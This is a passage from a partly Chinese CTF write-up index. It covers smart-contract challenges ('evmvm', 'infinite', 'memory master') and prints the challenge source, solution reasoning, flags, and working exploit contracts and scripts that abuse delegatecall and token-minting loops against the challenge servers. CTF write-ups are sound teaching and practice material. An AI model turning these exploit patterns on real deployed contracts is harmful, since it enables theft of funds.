)); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x35 )), bytes32 ( uint256 ( uint160 ( address ( this ))))); // CALLDATALOAD // get 0 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x30 )), bytes32 ( 0 )); // ADDRESS IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x31 )), bytes32 ( 0 )); // BALANCE IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0xF4 )), bytes32 ( 0 )); // DELEGATECALL } fallback () external { ISetup ( /* set the addr before deployment */ ). solve (); } } from web3 import Web3 from pwn import * setup_abi = open ( 'setup_abi.json' ) . read () hack_abi = open ( 'hack_abi.json' ) . read () hack_bytecode = open ( 'bytecode.txt' ) . read () def transact ( func , gas = 1000000 ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = remote ( 'lac.tf' , 31151 ) conn . sendlineafter ( 'action?' , '1' ) uuid = conn . recvline_contains ( 'uuid' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( 'key' ) . decode () . split ( ' ' )[ - 1 ]) setup_addr = conn . recvline_contains ( 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () setup_contract = w3 . eth . contract ( address = setup_addr , abi = setup_abi ) evmvm_addr = setup_contract . functions . metametaverse () . call () hack_contract = w3 . eth . contract ( abi = hack_abi , bytecode = hack_bytecode . replace ( '_' , setup_addr [ 2 :] . lower ())) hack_addr = transact ( 'hack_contract.constructor()' , hack_contract . constructor () . estimate_gas () * 2 ) . contractAddress hack_contract = w3 . eth . contract ( address = hack_addr , abi = hack_abi ) print ( hack_addr ) transact ( 'hack_contract.functions.exploit(evmvm_addr)' ) if setup_contract . functions . isSolved () . call (): conn = remote ( 'lac.tf' , 31151 ) conn . sendlineafter ( 'action?' , '3' ) conn . sendlineafter ( 'uuid please:' , uuid ) conn . interactive () Flag \u00b6 lactf{yul_hav3_a_bad_t1me_0n_th3_m3tam3tavers3} \u53c2\u8003\u8d44\u6599 \u00b6 EVM Codes - An Ethereum Virtual Machine Opcodes Interactive Reference Yul \u2014 Solidity 0.8.18 documentation EIP-4399: Supplant DIFFICULTY opcode with PREVRANDAO","title":"evmvm"},{"location":"blockchain/evmvm/#_1","text":"All these zoomers with their \"metaverse\" or something are thinking far too primitive. If the red pill goes down the rabbit hole, then how far up can we go? nc lac.tf 31151 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.18 ; import \"./EVMVM.sol\" ; contract Setup { EVMVM public immutable metametaverse = new EVMVM (); bool private solved = false ; function solve () external { assert ( msg . sender == address ( metametaverse )); solved = true ; } function isSolved () external view returns ( bool ) { return solved ; } } EVMVM.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.18 ; // YES I FINALLY GOT MY METAMETAVERSE TO WORK - Arc'blroth contract EVMVM { uint [] private stack ; // executes a single opcode on the metametaverse\u2122 // TODO(arc) implement the last few opcodes function enterTheMetametaverse ( bytes32 opcode , bytes32 arg ) external { assembly { // declare yul bindings for the stack // apparently you can only call yul functions from yul :sob: // https://ethereum.stackexchange.com/questions/126609/calling-functions-using-inline-assembly-yul function spush ( data ) { let index := sload ( 0x00 ) let stackSlot := 0x00 sstore ( add ( keccak256 ( stackSlot , 0x20 ), index ), data ) sstore ( 0x00 , add ( index , 1 )) } function spop () -> out { let index := sub ( sload ( 0x00 ), 1 ) let stackSlot := 0x00 out := sload ( add ( keccak256 ( stackSlot , 0x20 ), index )) sstore ( add ( keccak256 ( stackSlot , 0x20 ), index ), 0 ) // zero out the popped memory sstore ( 0x00 , index ) } // opcode reference: https://www.evm.codes/?fork=merge switch opcode case 0x00 { // STOP // lmfao you literally just wasted gas } case 0x01 { // ADD spush ( add ( spop (), spop ())) } case 0x02 { // MUL spush ( mul ( spop (), spop ())) } case 0x03 { // SUB spush ( sub ( spop (), spop ())) } case 0x04 { // DIV spush ( div ( spop (), spop ())) } case 0x05 { // SDIV spush ( sdiv ( spop (), spop ())) } case 0x06 { // MOD spush ( mod ( spop (), spop ())) } case 0x07 { // SMOD spush ( smod ( spop (), spop ())) } case 0x08 { // ADDMOD spush ( addmod ( spop (), spop (), spop ())) } case 0x09 { // MULMOD spush ( mulmod ( spop (), spop (), spop ())) } case 0x0A { // EXP spush ( exp ( spop (), spop ())) } case 0x0B { // SIGNEXTEND spush ( signextend ( spop (), spop ())) } case 0x10 { // LT spush ( lt ( spop (), spop ())) } case 0x11 { // GT spush ( gt ( spop (), spop ())) } case 0x12 { // SLT spush ( slt ( spop (), spop ())) } case 0x13 { // SGT spush ( sgt ( spop (), spop ())) } case 0x14 { // EQ spush ( eq ( spop (), spop ())) } case 0x15 { // ISZERO spush ( iszero ( spop ())) } case 0x16 { // AND spush ( and ( spop (), spop ())) } case 0x17 { // OR spush ( or ( spop (), spop ())) } case 0x18 { // XOR spush ( xor ( spop (), spop ())) } case 0x19 { // NOT spush ( not ( spop ())) } case 0x1A { // BYTE spush ( byte ( spop (), spop ())) } case 0x1B { // SHL spush ( shl ( spop (), spop ())) } case 0x1C { // SHR spush ( shr ( spop (), spop ())) } case 0x1D { // SAR spush ( sar ( spop (), spop ())) } case 0x20 { // SHA3 spush ( keccak256 ( spop (), spop ())) } case 0x30 { // ADDRESS spush ( address ()) } case 0x31 { // BALANCE spush ( balance ( spop ())) } case 0x32 { // ORIGIN spush ( origin ()) } case 0x33 { // CALLER spush ( caller ()) } case 0x34 { // CALLVALUE spush ( callvalue ()) } case 0x35 { // CALLDATALOAD spush ( calldataload ( spop ())) } case 0x36 { // CALLDATASIZE spush ( calldatasize ()) } case 0x37 { // CALLDATACOPY calldatacopy ( spop (), spop (), spop ()) } case 0x38 { // CODESIZE spush ( codesize ()) } case 0x3A { // GASPRICE spush ( gasprice ()) } case 0x3B { // EXTCODESIZE spush ( extcodesize ( spop ())) } case 0x3C { // EXTCODECOPY extcodecopy ( spop (), spop (), spop (), spop ()) } case 0x3D { // RETURNDATASIZE spush ( returndatasize ()) } case 0x3E { // RETURNDATACOPY returndatacopy ( spop (), spop (), spop ()) } case 0x3F { // EXTCODEHASH spush ( extcodehash ( spop ())) } case 0x40 { // BLOCKHASH spush ( blockhash ( spop ())) } case 0x41 { // COINBASE (sponsored opcode) spush ( coinbase ()) } case 0x42 { // TIMESTAMP spush ( timestamp ()) } case 0x43 { // NUMBER spush ( number ()) } case 0x44 { // PREVRANDAO // spush(difficulty()) spush ( prevrandao ()) // (1) } case 0x45 { // GASLIMIT spush ( gaslimit ()) } case 0x46 { // CHAINID spush ( chainid ()) } case 0x47 { // SELBALANCE spush ( selfbalance ()) } case 0x48 { // BASEFEE spush ( basefee ()) } case 0x50 { // POP pop ( spop ()) } case 0x51 { // MLOAD spush ( mload ( spop ())) } case 0x52 { // MSTORE mstore ( spop (), spop ()) } case 0x53 { // MSTORE8 mstore8 ( spop (), spop ()) } case 0x54 { // SLOAD spush ( sload ( spop ())) } case 0x55 { // SSTORE sstore ( spop (), spop ()) } case 0x59 { // MSIZE spush ( msize ()) } case 0x5A { // GAS spush ( gas ()) } case 0x80 { // DUP1 let val := spop () spush ( val ) spush ( val ) } case 0x91 { // SWAP1 let a := spop () let b := spop () spush ( a ) spush ( b ) } case 0xF0 { // CREATE spush ( create ( spop (), spop (), spop ())) } case 0xF1 { // CALL spush ( call ( spop (), spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF2 { // CALLCODE spush ( callcode ( spop (), spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF3 { // RETURN return ( spop (), spop ()) } case 0xF4 { // DELEGATECALL spush ( delegatecall ( spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xF5 { // CREATE2 spush ( create2 ( spop (), spop (), spop (), spop ())) } case 0xFA { // STATICCALL spush ( staticcall ( spop (), spop (), spop (), spop (), spop (), spop ())) } case 0xFD { // REVERT revert ( spop (), spop ()) } case 0xFE { // INVALID invalid () } case 0xFF { // SELFDESTRUCT selfdestruct ( spop ()) } } } fallback () payable external { revert ( \"sus\" ); } receive () payable external { revert ( \"we are a cashless institution\" ); } } Paris \u7248\u672c\u8d77\uff0c DIFFICULTY \u7531 PREVRANDAO \u66ff\u4ee3\uff0c\u53ef\u83b7\u53d6\u4e0a\u4e00\u4e2a\u533a\u5757\u7684 RANDAO mix","title":"\u9898\u76ee"},{"location":"blockchain/evmvm/#_2","text":"\u76ee\u6807\u662f\u901a\u8fc7\u5408\u7ea6 EVMVM \u8c03\u7528 Setup.solve() EVMVM \u501f\u52a9 Yul \u6a21\u62df EVM\uff0c\u8c03\u7528\u4e00\u6b21 enterTheMetametaverse() \u53ef\u6267\u884c\u4e00\u4e2a\u64cd\u4f5c\u7801 \u9700\u8981\u8c03\u7528 Setup.solve() \uff0c\u67e5\u770b\u8c03\u7528\u76f8\u5173\u7684\u64cd\u4f5c\u7801 call(g, a, v, in, insize, out, outsize) \u8c03\u7528\u7279\u5b9a\u51fd\u6570\u9700\u8981\u501f\u52a9 memory \u5b58\u50a8\u51fd\u6570\u7b7e\u540d\u4ee5\u53ca\u4f20\u53c2\uff0c\u800c\u4e00\u6b21\u53ea\u80fd\u6267\u884c\u4e00\u4e2a\u64cd\u4f5c\u7801\u4e14 memory \u5728\u5355\u6b21\u8c03\u7528\u7ed3\u675f\u540e\u5373\u88ab\u6e05\u9664 \u53ef\u4ee5\u901a\u8fc7 delegatecall(g, a, in, insize, out, outsize) \u501f\u52a9\u5176\u5b83\u4ee3\u7801\uff0c\u7531\u4e8e\u65e0\u6cd5\u4f20\u9012\u7279\u5b9a\u7684\u51fd\u6570\u7b7e\u540d\u53ca\u53c2\u6570\uff0c\u8c03\u7528\u903b\u8f91\u5728 fallback() \u4e2d\u5b9e\u73b0\u5e76\u786c\u7f16\u7801 Setup \u5b9e\u4f8b\u7684\u5730\u5740 Yul \u4e2d\u51fd\u6570\u53c2\u6570\u4ece\u53f3\u5f80\u5de6\u5165\u6808\uff0c\u5c06\u5148\u6267\u884c\u6700\u53f3\u4fa7\u7684 spop() \uff0c\u56e0\u800c\u4ece\u5de6\u5f80\u53f3\u5c06 delegatecall \u9700\u8981\u7684\u53c2\u6570\u5165\u6808 g \uff0c\u53ef\u4ee5\u7b80\u5355\u5730\u501f\u7528 GASLIMIT \u6765\u8bbe\u7f6e a \uff0c\u901a\u8fc7 arg \u4f20\u5165 Setup \u7684\u5730\u5740\uff0c\u7531 calldataload(p) \u83b7\u53d6\u3002\u53ef\u501f\u52a9 CHAINID \uff08\u503c\u4e3a 1\uff09\u6765\u6784\u9020\u4efb\u610f\u503c sig(4 bytes) opcode(32 bytes) arg(32 bytes) in & insize & out & outsize \uff0c\u65e0\u9700\u4f20\u53c2\u4e14\u6ca1\u6709\u8f93\u51fa\uff0c\u53ef\u8bbe\u7f6e\u4e3a 0","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/evmvm/#exploit","text":"pragma solidity ^ 0.8.18 ; interface IEVMVM { function enterTheMetametaverse ( bytes32 opcode , bytes32 arg ) external ; } interface ISetup { function solve () external ; } contract Hack { function exploit ( address instance ) public { IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x45 )), bytes32 ( 0 )); // GASLIMIT // get 36 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x36 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x04 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x46 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x01 )), bytes32 ( 0 )); IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x35 )), bytes32 ( uint256 ( uint160 ( address ( this ))))); // CALLDATALOAD // get 0 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x30 )), bytes32 ( 0 )); // ADDRESS IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x31 )), bytes32 ( 0 )); // BALANCE IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0x80 )), bytes32 ( 0 )); // DUP1 IEVMVM ( instance ). enterTheMetametaverse ( bytes32 ( uint ( 0xF4 )), bytes32 ( 0 )); // DELEGATECALL } fallback () external { ISetup ( /* set the addr before deployment */ ). solve (); } } from web3 import Web3 from pwn import * setup_abi = open ( 'setup_abi.json' ) . read () hack_abi = open ( 'hack_abi.json' ) . read () hack_bytecode = open ( 'bytecode.txt' ) . read () def transact ( func , gas = 1000000 ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = remote ( 'lac.tf' , 31151 ) conn . sendlineafter ( 'action?' , '1' ) uuid = conn . recvline_contains ( 'uuid' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( 'key' ) . decode () . split ( ' ' )[ - 1 ]) setup_addr = conn . recvline_contains ( 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () setup_contract = w3 . eth . contract ( address = setup_addr , abi = setup_abi ) evmvm_addr = setup_contract . functions . metametaverse () . call () hack_contract = w3 . eth . contract ( abi = hack_abi , bytecode = hack_bytecode . replace ( '_' , setup_addr [ 2 :] . lower ())) hack_addr = transact ( 'hack_contract.constructor()' , hack_contract . constructor () . estimate_gas () * 2 ) . contractAddress hack_contract = w3 . eth . contract ( address = hack_addr , abi = hack_abi ) print ( hack_addr ) transact ( 'hack_contract.functions.exploit(evmvm_addr)' ) if setup_contract . functions . isSolved () . call (): conn = remote ( 'lac.tf' , 31151 ) conn . sendlineafter ( 'action?' , '3' ) conn . sendlineafter ( 'uuid please:' , uuid ) conn . interactive ()","title":"Exploit"},{"location":"blockchain/evmvm/#flag","text":"lactf{yul_hav3_a_bad_t1me_0n_th3_m3tam3tavers3}","title":"Flag"},{"location":"blockchain/evmvm/#_3","text":"EVM Codes - An Ethereum Virtual Machine Opcodes Interactive Reference Yul \u2014 Solidity 0.8.18 documentation EIP-4399: Supplant DIFFICULTY opcode with PREVRANDAO","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/infinite/","tags":["smart contract"],"text":"#smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 Infinite respect. nc infinite.chal.crewc.tf 60001 infinite.tar.gz Solution \u00b6 To solve the challenge, we need to store more than 50 respect tokens in the fancyStore contract function isSolved () public view returns ( bool ) { return STORE . respectCount ( CREW . receiver ()) >= 50 ; } The respectToken and candyToken contracts do not contain any significant information, as they are simple ERC20 token contracts that allow the owner to call the mint() and burn() functions The crewToken contract with a mint() function that can only be called once is the entry point function mint () external { require ( ! claimed , \"already claimed\" ); receiver = msg . sender ; claimed = true ; _mint ( receiver , 1 ); } Next, we can exchange 1 crew token for 10 candies function verification () public payable { require ( crew . balanceOf ( msg . sender ) == 1 , \"You don't have crew tokens to verify\" ); require ( crew . allowance ( msg . sender , address ( this )) == 1 , \"You need to approve the contract to transfer crew tokens\" ); crew . transferFrom ( msg . sender , address ( this ), 1 ); candy . mint ( msg . sender , 10 ); } The candy tokens can be exchanged for respect tokens through fancyStore.sellCandies() or localGang.gainRespect() . But these two functions have a slight difference. The sellCandies() function burns candy tokens and transfers the respect tokens stored in the contract to the msg.sender, while the gainRespect() function transfers the candy tokens from the msg.sender and mint respect tokens to msg.sender. Thus, the total supply of respect tokens can be increased through gainRespect() . Similarly, we can increase the total supply of candy tokens through fancyStore.buyCandies() Starting with 10 candy tokens, we can first exchange them for 10 respect tokens and increase candyCount through localGang.gainRespect() . Then, buy 10 candies and increase respectCount through fancyStore.buyCandies() . At this point, we have obtained an additional 10 candies and transferred 10 respect tokens to the fancyStore contract XD Repeat these steps until STORE.respectCount(CREW.receiver()) reaches the desired threshold Script \u00b6 /// forge script script/Infinite.s.sol --private-key $PRIVATE_KEY --rpc-url $RPC_URL --sig \"run(address)\" $INSTANCE_ADDR --broadcast contract InfiniteScript is Script { function run ( address instance ) public { vm . startBroadcast (); Setup setup = Setup ( instance ); crewToken crew = setup . CREW (); respectToken respect = setup . RESPECT (); candyToken candy = setup . CANDY (); fancyStore store = setup . STORE (); localGang gang = setup . GANG (); crew . mint (); crew . approve ( address ( store ), 1 ); store . verification (); candy . approve ( address ( gang ), 50 ); respect . approve ( address ( store ), 50 ); for ( uint i ; i < 5 ; ++ i ) { gang . gainRespect ( 10 ); store . buyCandies ( 10 ); } vm . stopBroadcast (); } } Flag \u00b6 crew{inf1nt3_c4n9i3s_1nfinit3_r3s9ect}","title":"infinite"},{"location":"blockchain/infinite/#description","text":"Infinite respect. nc infinite.chal.crewc.tf 60001 infinite.tar.gz","title":"Description"},{"location":"blockchain/infinite/#solution","text":"To solve the challenge, we need to store more than 50 respect tokens in the fancyStore contract function isSolved () public view returns ( bool ) { return STORE . respectCount ( CREW . receiver ()) >= 50 ; } The respectToken and candyToken contracts do not contain any significant information, as they are simple ERC20 token contracts that allow the owner to call the mint() and burn() functions The crewToken contract with a mint() function that can only be called once is the entry point function mint () external { require ( ! claimed , \"already claimed\" ); receiver = msg . sender ; claimed = true ; _mint ( receiver , 1 ); } Next, we can exchange 1 crew token for 10 candies function verification () public payable { require ( crew . balanceOf ( msg . sender ) == 1 , \"You don't have crew tokens to verify\" ); require ( crew . allowance ( msg . sender , address ( this )) == 1 , \"You need to approve the contract to transfer crew tokens\" ); crew . transferFrom ( msg . sender , address ( this ), 1 ); candy . mint ( msg . sender , 10 ); } The candy tokens can be exchanged for respect tokens through fancyStore.sellCandies() or localGang.gainRespect() . But these two functions have a slight difference. The sellCandies() function burns candy tokens and transfers the respect tokens stored in the contract to the msg.sender, while the gainRespect() function transfers the candy tokens from the msg.sender and mint respect tokens to msg.sender. Thus, the total supply of respect tokens can be increased through gainRespect() . Similarly, we can increase the total supply of candy tokens through fancyStore.buyCandies() Starting with 10 candy tokens, we can first exchange them for 10 respect tokens and increase candyCount through localGang.gainRespect() . Then, buy 10 candies and increase respectCount through fancyStore.buyCandies() . At this point, we have obtained an additional 10 candies and transferred 10 respect tokens to the fancyStore contract XD Repeat these steps until STORE.respectCount(CREW.receiver()) reaches the desired threshold","title":"Solution"},{"location":"blockchain/infinite/#script","text":"/// forge script script/Infinite.s.sol --private-key $PRIVATE_KEY --rpc-url $RPC_URL --sig \"run(address)\" $INSTANCE_ADDR --broadcast contract InfiniteScript is Script { function run ( address instance ) public { vm . startBroadcast (); Setup setup = Setup ( instance ); crewToken crew = setup . CREW (); respectToken respect = setup . RESPECT (); candyToken candy = setup . CANDY (); fancyStore store = setup . STORE (); localGang gang = setup . GANG (); crew . mint (); crew . approve ( address ( store ), 1 ); store . verification (); candy . approve ( address ( gang ), 50 ); respect . approve ( address ( store ), 50 ); for ( uint i ; i < 5 ; ++ i ) { gang . gainRespect ( 10 ); store . buyCandies ( 10 ); } vm . stopBroadcast (); } }","title":"Script"},{"location":"blockchain/infinite/#flag","text":"crew{inf1nt3_c4n9i3s_1nfinit3_r3s9ect}","title":"Flag"},{"location":"blockchain/memory_master_on_the_chain/","tags":["smart contract"],"text":"#smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 \u542c\u8bf4\u4f60\u5728\u533a\u5757\u94fe\u4e0a\u90e8\u7f72\u7684\u667a\u80fd\u5408\u7ea6\u6709\u8fc7\u76ee\u4e0d\u5fd8\u7684\u80fd\u529b\u3002 main.py from web3 import Web3 from web3.middleware import geth_poa_middleware import os import json import time import shutil challenge_id = int ( input ( 'The challenge you want to play (1 or 2 or 3): ' )) assert challenge_id == 1 or challenge_id == 2 or challenge_id == 3 player_bytecode = bytes . fromhex ( input ( 'Player bytecode: ' )) print ( 'Launching geth...' ) shutil . copytree ( '/data' , '/dev/shm/geth' ) os . system ( 'geth --datadir /dev/shm/geth --nodiscover --mine --unlock 0x2022af4DCbb9dA7F41cBD3dD8CdB4134D4e6DDe6 --password password.txt --verbosity 0 --datadir.minfreedisk 0 &' ) time . sleep ( 2 ) w3 = Web3 ( Web3 . IPCProvider ( '/dev/shm/geth/geth.ipc' )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) w3 . eth . default_account = w3 . eth . accounts [ 0 ] w3 . geth . personal . unlock_account ( w3 . eth . default_account , open ( 'password.txt' ) . read () . strip ()) print ( 'Deploying challenge contract...' ) bytecode , abi = json . load ( open ( f 'contract { challenge_id } .json' )) Challenge = w3 . eth . contract ( abi = abi , bytecode = bytecode ) tx_hash = Challenge . constructor () . transact () tx_receipt = w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( 'Challenge contract address:' , tx_receipt . contractAddress ) challenge = w3 . eth . contract ( address = tx_receipt . contractAddress , abi = abi ) print ( 'Deploying player contract...' ) tx_hash = w3 . eth . send_transaction ({ 'to' : None , 'data' : player_bytecode }) tx_receipt = w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( 'Player contract address:' , tx_receipt . contractAddress ) for i in range ( 10 ): print ( f 'Testing { i + 1 } /10...' ) if challenge_id == 2 : n = int . from_bytes ( os . urandom ( 2 ), 'big' ) else : n = int . from_bytes ( os . urandom ( 32 ), 'big' ) print ( f 'n = { n } ' ) if challenge . functions . test ( tx_receipt . contractAddress , n ) . call (): print ( 'Test passed!' ) else : print ( 'Test failed!' ) exit ( - 1 ) print ( open ( f 'flag { challenge_id } ' ) . read ()) compile.py from solcx import compile_source import json for i in 1 , 2 , 3 : compiled_sol = compile_source ( open ( f 'challenge { i } .sol' ) . read (), output_values = [ 'abi' , 'bin' ]) contract_interface = compiled_sol [ ':Challenge' ] bytecode = contract_interface [ 'bin' ] abi = contract_interface [ 'abi' ] json . dump (( bytecode , abi ), open ( f 'contract { i } .json' , 'w' )) genesis.json { \"config\" : { \"chainId\" : 2022 , \"homesteadBlock\" : 0 , \"eip150Block\" : 0 , \"eip155Block\" : 0 , \"eip158Block\" : 0 , \"byzantiumBlock\" : 0 , \"constantinopleBlock\" : 0 , \"petersburgBlock\" : 0 , \"istanbulBlock\" : 0 , \"muirGlacierBlock\" : 0 , \"berlinBlock\" : 0 , \"londonBlock\" : 0 , \"arrowGlacierBlock\" : 0 , \"grayGlacierBlock\" : 0 , \"clique\" : { \"period\" : 0 , \"epoch\" : 30000 } }, \"alloc\" : { \"0x2022af4DCbb9dA7F41cBD3dD8CdB4134D4e6DDe6\" : { \"balance\" : \"0x56bc75e2d63100000\" } }, \"coinbase\" : \"0x0000000000000000000000000000000000000000\" , \"difficulty\" : \"0x1\" , \"gasLimit\" : \"0x1c9c380\" , \"extraData\" : \"0x00000000000000000000000000000000000000000000000000000000000000002022af4dcbb9da7f41cbd3dd8cdb4134d4e6dde60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\" , \"nonce\" : \"0x0000000000000042\" , \"mixhash\" : \"0x0000000000000000000000000000000000000000000000000000000000000000\" , \"parentHash\" : \"0x0000000000000000000000000000000000000000000000000000000000000000\" , \"timestamp\" : \"0x00\" } Dockerfile FROM ubuntu:22.04 RUN apt update && apt install -y software-properties-common && add-apt-repository -y ppa:ethereum/ethereum && apt update && apt install -y ethereum python3-pip RUN python3 -m pip install web3 py-solc-x RUN python3 -c \"from solcx import install_solc; install_solc(version='latest')\" COPY genesis.json privatekey.txt password.txt main.py challenge1.sol challenge2.sol challenge3.sol compile.py / RUN geth init --datadir data genesis.json RUN geth --datadir data account import --password password.txt privatekey.txt RUN python3 compile.py CMD [ \"/usr/bin/python3\" , \"-u\" , \"/main.py\" ] \u8bb0\u5fc6\u7ec3\u4e60 \u00b6 pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint256 n ) external ; function recall () external view returns ( uint256 ); } contract Challenge { function test ( MemoryMaster m , uint256 n ) external returns ( bool ) { m . memorize ( n ); uint256 recalled = m . recall (); return recalled == n ; } } \u725b\u5200\u5c0f\u8bd5 \u00b6 pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint16 n ) external ; function recall () external view returns ( uint16 ); } contract Challenge { function test ( MemoryMaster m , uint16 n ) external returns ( bool ) { try this . memorize_revert ( m , n ) { } catch ( bytes memory ) { } uint16 recalled = m . recall (); return recalled == n ; } function memorize_revert ( MemoryMaster m , uint16 n ) external { m . memorize ( n ); revert (); } } \u7ec8\u6781\u6311\u6218 \u00b6 pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint256 n ) external view ; function recall () external view returns ( uint256 ); } contract Challenge { function test ( MemoryMaster m , uint256 n ) external returns ( bool ) { m . memorize ( n ); uint256 recalled = m . recall (); return recalled == n ; } } \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u7f16\u5199\u5305\u542b\u51fd\u6570 memorize \u548c\u51fd\u6570 recall \u7684\u5408\u7ea6 MemoryMaster \uff0c\u5408\u7ea6 Challenge \u5c06\u9996\u5148\u8c03\u7528\u51fd\u6570 memorize \u5e76\u4f20\u5165\u53c2\u6570 n \uff0c\u968f\u540e\u8c03\u7528\u51fd\u6570 recall \u5e76\u671f\u671b\u8fd4\u56de n \u3002 \u8bb0\u5fc6\u7ec3\u4e60 \u00b6 \u672c\u9898\u6ca1\u6709\u5bf9\u51fd\u6570 memorize \u548c\u51fd\u6570 recall \u8fdb\u884c\u4efb\u4f55\u9650\u5236\uff0c\u56e0\u800c\u53ef\u4ee5\u76f4\u63a5\u501f\u52a9\u72b6\u6001\u53d8\u91cf\u3002 pragma solidity 0.8.17 ; contract MemoryMaster { uint256 n ; function memorize ( uint256 _n ) public { n = _n ; } function recall () public view returns ( uint256 ) { return n ; } } Flag \u00b6 flag{Y0u_Ar3_n0w_f4M1l1ar_W1th_S0l1dity_st0rage_dd0d6977ef} \u725b\u5200\u5c0f\u8bd5 \u00b6 \u51fd\u6570 memorize \u88ab\u8c03\u7528\u540e\u5373 revert \uff0c\u5c3d\u7ba1\u7531\u4e8e try/catch \u7684\u5b58\u5728\uff0c\u4e0d\u5f71\u54cd\u540e\u7eed\u64cd\u4f5c\uff0c\u4f46\u65e0\u6cd5\u518d\u4f7f\u7528\u72b6\u6001\u53d8\u91cf\u6765\u4f20\u9012 n \u503c \u4fbf\u60f3\u5230\u53ef\u4ee5\u501f\u52a9 gasleft() \uff0c\u6c7d\u6cb9\u7684\u6d88\u8017\u4e0d\u53d7\u56de\u6eda\u7684\u5f71\u54cd\uff0c\u5e76\u4e14 n \u7684\u7c7b\u578b\u4e5f\u7531 uint256 \u8c03\u6574\u4e3a\u4e86 uint16 \uff0c\u4e0d\u8fc7\u5b9e\u65bd\u8d77\u6765\u5c31\u6ca1\u90a3\u4e48\u7b80\u5355\u4e86 :( \u68b3\u7406\u4e00\u4e0b\u5df2\u77e5\u7684\u4fe1\u606f \u4ea4\u6613\u7684\u521d\u59cb\u6c7d\u6cb9\u91cf\u53d7 geth \u7684 --rpc.gascap \u63a7\u5236\uff0c\u9ed8\u8ba4\u4e3a \\(50000000\\) 1 \u6bcf\u6b21\u51fd\u6570\u8c03\u7528\u4f1a\u4f20\u5165\u5269\u4f59\u6c7d\u6cb9\u7684 63/64 